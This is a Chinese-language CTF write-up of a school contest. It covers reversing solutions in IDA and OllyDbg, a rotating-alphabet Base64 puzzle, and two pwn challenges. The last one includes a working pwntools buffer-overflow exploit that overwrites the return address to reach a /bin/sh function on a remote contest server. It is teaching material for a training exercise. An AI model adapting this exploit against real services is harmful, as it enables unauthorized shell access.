2021CDUCTF11 月校赛部分题解
0x00 Reverse
所有我出的题,我尽量给出双解(IDA 和 OD),不是我出的就不要在我这里看了奥
0x01 Luck
IDA
先看 mian 函数,game 函数和 flagshow 函数
然后看 game 函数
在函数结尾的时候有一个设置随机数种子,很可疑,暂时记下。0x2918 = 10520。再看 flagshow 函数:
所以 flag 是取伪随机数 xor v2 来的,v2 则是 n1 数组的元素。
什么是 xor?
xor:异或,相异得一,相同得零。例如:1 ^ 1 = 0;1 ^ 0 = 1;0 ^ 0 = 0
程序中 xor 操作过程是按位进行的。先将操作数转换为二进制数,再进行按位异或。例如:23 ^ 45
23 = 0001 0111 45 = 0010 1101 => 23 ^ 45 = 0011 1010 = 58
因为 xor 的特性,所以有:若 a^b=c,则 c^b=a;c^a=b。
详细的查看 {% btn https://baike.baidu.com/item/ 异或 /10993677?fromtitle=xor&fromid=64178&fr=aladdin, 百度百科, XOR %}
找到 n1 数组,提取出来
、
这里可以右键转换为数组再通过 Shift+E 提取,可以快速提取到值
前面是 4 个数有三个都是 0,因为 int 是 4 字节的,而这里把它一个字节一个字节解析的,所以宽度设置为 4。得到数据:
再用 notepad 替换 0 为空即可。写出 exp 即可。
#include<stdio.h>
#include<stdlib.h>
int main()
{
int decode[] = {0x7F,0x5B,0x4A,0x5,0x64,0x1,0x66,0x65,0x66,0x5B,0x4A,0x20,0x51,0x4F,0x39,0x1,0x41,0x6B,0x5F,0x7E,0x73,0x7A,0x57,0x5A,0x0E,0x11,0x6F,0x0,};
srand(10520);
for(int i=0;decode[i];i++)
{
printf("%c",decode[i] ^ (rand()%100+1));
}
return 0;
}
//flag{1uck_g4y_n0t_n55d_x0r}
OD
在 main 函数和 flagshow 函数有两次判断,只要一次猜出来就可以得到 flag,我们直接 nop 掉两次跳转或者改变跳转地址即可
先找到判断 1,下断:
再找到跳转 2,下断(搜索字符串就不教了奥):
直接运行,猜出数字到断点处:
nop 掉 jz 跳转,进入第二个 call(F7):
这里 je 跳转箭头内的全部 nop,目的是不执行 retn,push ebx 要留下,这里截图错了。
进入循环后再用 F8 比较浪费时间,可以直接 F4 到函数快结尾处,不会的下断点在最后一个 call,然后再 F8 一下,就看到程序框内的 flag 了。
other
用 CE 应该也是可以的,每猜一次搜索次数嘛,还是很简单。难就难在程序结束了没有滞留,黑框就没了,这种情况应该怎么搞呢?自己去探索吧 ~
0x02 EasyRe
IDA
这个源码还是很简单了,太长就不截图了,直接复制源码吧
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char v4; // cl
int v5; // eax
char v6; // al
int v7; // edx
char v8; // al
signed int v9; // edx
char flag[256]; // [esp+0h] [ebp-138h]
char third[12]; // [esp+100h] [ebp-38h]
char second[11]; // [esp+10Ch] [ebp-2Ch]
char zero[8]; // [esp+118h] [ebp-20h]
char first[7]; // [esp+120h] [ebp-18h]
char flag_0[9]; // [esp+128h] [ebp-10h]
char v17; // [esp+132h] [ebp-6h]
printf("PLZ input your flag:\n");
scanf_s("%s", flag);
if ( strlen(flag) != 37 ) // flag长度为27
{
printf("the len of flag is wrong,sorry\n");
_exit(0);
}
if ( flag[7] != '_' || flag[14] != '_' || flag[25] != '_' )
{ // 第8、15、26位为‘_’
printf("something is wrong~try again\n");
_exit(0);
}
*zero = 0;
*&zero[2] = 0;
*&zero[6] = 0;
_strncpy_s(zero, 8u, flag, 7u);
flag_0[8] = 0;
strcpy(flag_0, "welcome"); // 第一部分:welcome
v3 = strcmp(flag_0, zero);
if ( v3 )
v3 = -(v3 < 0) | 1;
if ( v3 )
{
_puts(zero);
printf("you are wrong, sorry.\n");
_exit(1);
}
*first = 0;
*&first[2] = 0;
first[6] = 0;
_strncpy_s(first, 7u, &flag[8], 6u);
*&flag_0[4] = 'xudc'; // 按R转为字符串
*&flag_0[8] = 'bw'; // 是数转过来的,为小端存储,既倒叙
v4 = 99; // 所以第二部分:cduxwb
v17 = 0;
v5 = 0;
do
{
if ( first[v5] != v4 )
{
_puts(first);
printf("It's close. Come on!\n");
_exit(2);
}
v4 = flag_0[v5++ + 5];
}
while ( v4 );
*second = 0;
second[10] = 0;
*&second[2] = 0i64;
_strncpy_s(second, 0xBu, &flag[15], 0xAu);
*flag_0 = *aEverythi;
*&flag_0[8] = 'GN';
v6 = aEverythi[0]; // 第三部分为:EVERYTHING
if ( aEverythi[0] )
{
v7 = 0;
do
{
if ( second[v7] - 32 != v6 ) // flag[i] = flag_0[i] + 32
{ // 大小写字母之差为32,所以真正的flag为小写
_puts(second);
printf("hurry up! GO GO GO!\n");
_exit(3);
}
v6 = flag_0[v7++ + 1];
}
while ( v6 );
}
*third = 0;
*&third[10] = 0;
*&third[2] = 0i64;
_strncpy_s(third, 0xCu, &flag[26], 0xBu);
strcpy(flag_0, "suhxlzSUKMC");
v8 = 's'; // 第四部分xor加密
v9 = 26;
do
{
if ( (v9 ^ third[v9 - 26]) != v8 )
{
_puts(third);
printf("ohhhhh,a little!only a little!\t");
_exit(4);
}
v8 = flag_0[v9++ - 25];
}
while ( v8 );
printf("nice!Do a good jod!!!your flag:\nflag{%s}", flag);
return 0; // flag包上{}输出
}
EVERYTHING 最后的 NG 哪来的?
xor 反解脚本 Python:
flag=''
a = 'suhxlzSUKMC'
for i in range(len(a)):
flag+= chr(ord(a[i])^(i+26))
print(flag)
#interesting
所以得到全部 flag,中间用 _ 连接
welcome_cduxwb_everything_interesting
OD
因为 flag 是输入值,OD 分析效果不大。故无 IDA 分析解法。
0x03 Maze
IDA
先看 main 函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed int v3; // esi
char v4; // dl
char *v5; // edi
unsigned int v6; // ecx
char v7; // al
char YourChoice[256]; // [esp+4h] [ebp-104h]
welcome();
v3 = 1;
printf("How to out of maze?\n");
scanf_s("%s", YourChoice);
v4 = YourChoice[0];
if ( YourChoice[0] )
{
v5 = YourChoice;
v6 = 1;
do
{
if ( v4 != 'w' && v4 != 'a' && v4 != 's' && v4 != 'd' )
{ // 行为判断 wasd,其他输入均为错误
printf("Error input!");
_exit(0);
}
maze[v3] = '*'; // 当前位置变为*,既不允许回头
switch ( v4 )
{
case 'w': // w 按理说是向上
v3 -= 10; // 所以应该是10个为一排
v6 -= 10;
break;
case 's':
v3 += 10;
v6 += 10;
break;
case 'a': // a是左
--v3;
--v6;
break;
case 'd': // d是右
++v3;
++v6;
break;
}
if ( maze[v3] == '*' || v6 > 50 )
{ // 不能走到*,不能大于50 <=> 迷宫长度为50,既10*5的矩阵
printf("Wrong way,try again!\n");
_exit(0);
}
v7 = (v5++)[1];
v4 = v7;
}
while ( v7 );
}
if ( maze[v3] == 'n' ) // 走到终点 ‘n’
printf("Great!You did it!get your flag:\nflag{%s}", YourChoice);
else // 走完所有步数才走到中间还未到终点
printf("Emmmmmm,It's not the end");
return 0;
}
已经清楚了,就是一个迷宫,走出迷宫就好了,所以找到迷宫,还有一个 welcome 函数没看
找到了迷宫是怎么来的,先提取 sapceNum,之前讲过的,shift+E
写个脚本模拟一下,还是 python
sN = [2, 3, 13, 14, 15, 16, 17, 27, 31, 33, 34, 35, 37, 41, 42, 43, 45, 46, 47]
maze = '*' * 50
maze = list(maze)
for i in sN:
maze[i] = ' '
for i in range(50): #输出
print(maze[i],end='')
if (i+1)%10 == 0:
print('') #换行
'''
** ******
*** **
******* **
* * * **
* * **
'''
是不是少了点什么?END 呢?回到 welcome 函数再看,当然你看到的是数字,你点一下数字,再按 R……
byte_40336D = 's';
byte_403381 = 'n';
跳转过来,其实就是 maze 中的位置,maze 的开头是 6C,6D 为‘s’,既第二个就是‘s’。同理找到‘n’的位置。
得到完整迷宫
*s ******
*** **
*n***** **
* * * **
* * **
走迷宫嘛就。ddsddddsssaawaasaaww
OD
OD 解可就太简单了,本来这题的考点也是 OD,IDA 不指望他们能分析出来。直接拖入 OD,运行,然后搜索字符串
为什么要先运行再搜索字符串,一开始不行吗?肯定是不行的,至于为什么,自己探索吧 ~
一搜就搜出来了,放在记事本里,十个一换行,得到迷宫。直接得到答案。
到这里我的题就解完了,思考一下,为什么我都是先 IDA 后 OD,是我的习惯吗?不全是,OD 调试程序,为了更准确的找到相应的位置,可以先通过 IDA 简单分析一下,再使用 OD,可以大大提高效率。
0x10 Crypto
密码学这玩意吧,玩着听有趣的,出的人多,我就随便整了一道
0x11 Base_for
直接看 python 文件吧
import base64
table = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
TABLE = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
flag = b'flag{**************}'
def myencode(S, t, T):
t = ''.join(t).encode()
newtable = bytes.maketrans(T, t)
enc = base64.b64encode(S).translate(newtable)
print(enc.decode()[:5])
return enc
for i in range(len(table)):
for j in range(len(table)-i-1): #替换base表
if table[j] > table[j+1]:
x = table[j]
table[j]=table[j+1]
table[j+1] = x
if i % 10 == 0:
flag = myencode(flag,table,TABLE)
flag = flag.decode()
print('\n' + flag + '\n')
#ZmxhZ
#Wmpsa
#Vqpkc
#0bFk5
#1GJGO
#/IR9F
#9oZGC
#9oZGCINjS4YtQKhnHIhfQWhiJYh6AXVBFohYFYNLO2EjGJ7nCKtCHnZlNqkfPosqEnFKFoQmKYt6JqRaFXAsEnZjHZZ5KXFB9q3jR2gnHL6fPodDHqsoBoJ9O2FEJqVbEb2oHmxhS3N/KKhgEoRcNYYoJX2tPXUoG2l3QIh7Mr71GIplHpV3Q2F6Pno=
那么就先说一下什么是 base64 编码吧,你可以理解为加密。既然为加密,那肯定不是随便加密,得有密码表,这个加密的过程就很好玩,是轮换加密表。
而代码中的 TABLE 则是标准表,替换是根据标准表来的。
graph LR
A[标准表] --> B[替换表1] --> F[替换表2] -.->H[替换表N]
D[明文] --> EN1[加密] --> E[密文1]
B --> EN1
F --> EN2[加密] --> C[密文2]
E --> EN2
C -.-> EN3[加密]
H -.-> EN3 --> 密文
这有点翻转加密那味了,但是还是很简单的。直接利用原来的加密程序,记录每次加密的表,再用表反向解密即可
import base64
table = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
TABLE = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
etable = []
for i in range(len(table)):
for j in range(len(table)-i-1):
if table[j] > table[j+1]:
x = table[j]
table[j]=table[j+1]
table[j+1] = x
if i % 10 == 0:
etable.append(''.join(table).encode()) #加密过程改为记录表
enc = b'9oZGCINjS4YtQKhnHIhfQWhiJYh6AXVBFohYFYNLO2EjGJ7nCKtCHnZlNqkfPosqEnFKFoQmKYt6JqRaFXAsEnZjHZZ5KXFB9q3jR2gnHL6fPodDHqsoBoJ9O2FEJqVbEb2oHmxhS3N/KKhgEoRcNYYoJX2tPXUoG2l3QIh7Mr71GIplHpV3Q2F6Pno='
#密文为最后一次完整的输出结果
for i in etable[::-1]: #加密为正序,解密则要倒叙
newtable = bytes.maketrans(i, TABLE)
enc = base64.b64decode(enc.translate(newtable))
print(enc.decode()) #输出每次解密结果
'''
/IR9Foxi9qksMKkr+nVKH28MGKdFFWhD/IRs9nNO9qgl+oN6C4VGG2ZNHWgfF38C9oNYGZ4M/aotK3Mr+oJOOn47EKhDPWhgBq4O/mxVBYklCGhfI4V19n84HLEqKIcrCIMqOXEpDHo=
1GJGOn+l8al7/8VL2XIjQF+O1Gx+6Z+k1/FG8XRH9YN++DBN+FdJQX2m9XF7/EZk1HAkOn+l7aZ3/a6L19+kPXB+2EMt6YJ79F6j45==
0bFk5qNlRY8W62/pUZ0oUFUp1aFN7GRFUT0YTZIr3rR1RXIp0p0k5qJiNZdW1Epn0U4F9FBRPTo=
VqpkcqFGbmx5RUtPU5ZaMpdEQ5dNR7ctVF25WUpkbn6ZbXMsUFExPQ==
WmpsaFo/dENORFZ3WDBGMFg9TXdYMpo9Yms8PQ==
ZmxhZ4tCNDVlX0F0X2MwX3Z2bn1=
flag{B45e_1s_S0_fun}
'''
嗯?不会 python,怎么做,在原来的脚本上,加密那行下面,输出每次的 table,然后去在线网站解啊
记住是逆着来,每次加密都输出前几位,就是为了给你们提示,手动解的时候验证是不是对的
0x20 Pwn
这也算是 CTF 竞赛中分数占比比较大的一部分了,但是我们没有开班,所以就弄了两道启蒙题
0x21 What's nc
nc 嘛,就不多说了,太简单。直接就给了 shell
知道 linux 指令就行,ls、cat flag 级行
0x22 Rip
先下载附件 IDA 查看分析,main 函数就这么简单,输入什么,就输出什么。
shift+F12 搜索字符串看看。就得到了
有 Shell 函数,所以我们就像办法执行他就行。查看地址
找到了,在 sueprise 函数里面(应该是 surprise 函数,惊喜嘛,这里出题时打错了,不过不影响做题)
得到 "/bin/sh" 字段的地址,应该从哪开始执行?从 0x4011B1 开始。
得到这个地址了,问题是怎么执行到这个函数这来呢?main 函数是安全的吗?有地方有漏洞吗,当然有,scanf("%s") 是不安全的。是存在缓冲区溢出的。查看溢出所需要的长度(既 V4 的大小)
得到了 0x30 的长度,覆盖到这里就结束了吗?答案是还没有,后面还有 8 字节的返回地址,要覆盖到这里,所以应该是 0x38.
执行 exp
#!/usr/bin/env python
#coding=utf8
from pwn import *
context.log_level = 'debug' #显示调试的信息
context.terminal = ['gnome-terminal','-x','bash','-c'] #?
local = 0 #设置是本地还是远程渗透
if local:
p = process('./pwn1')
#bin = ELF('./',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p=remote('47.108.228.77',10001)
#bin = ELF('./',checksec=False)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
pass
bin_sh_addr = 0x4011b1
payload = b'A'*0x38 + p64(bin_sh_addr)
print(payload)
def choose2():
p.sendline(payload)
p.interactive()
choose2()
运行环境 :linux
什么?代码报错?先安装 python 库 pwntools。不会使用 pip 自学吧,什么都喂到嘴边,那还了得。
END
说真的,这次的题,都是很简单,很好玩了,当然也不全是在课堂上讲过的,目的就是为了让你们学习,能够学到新东西,体验到比赛的快乐和解题的酣畅淋漓感。
continue……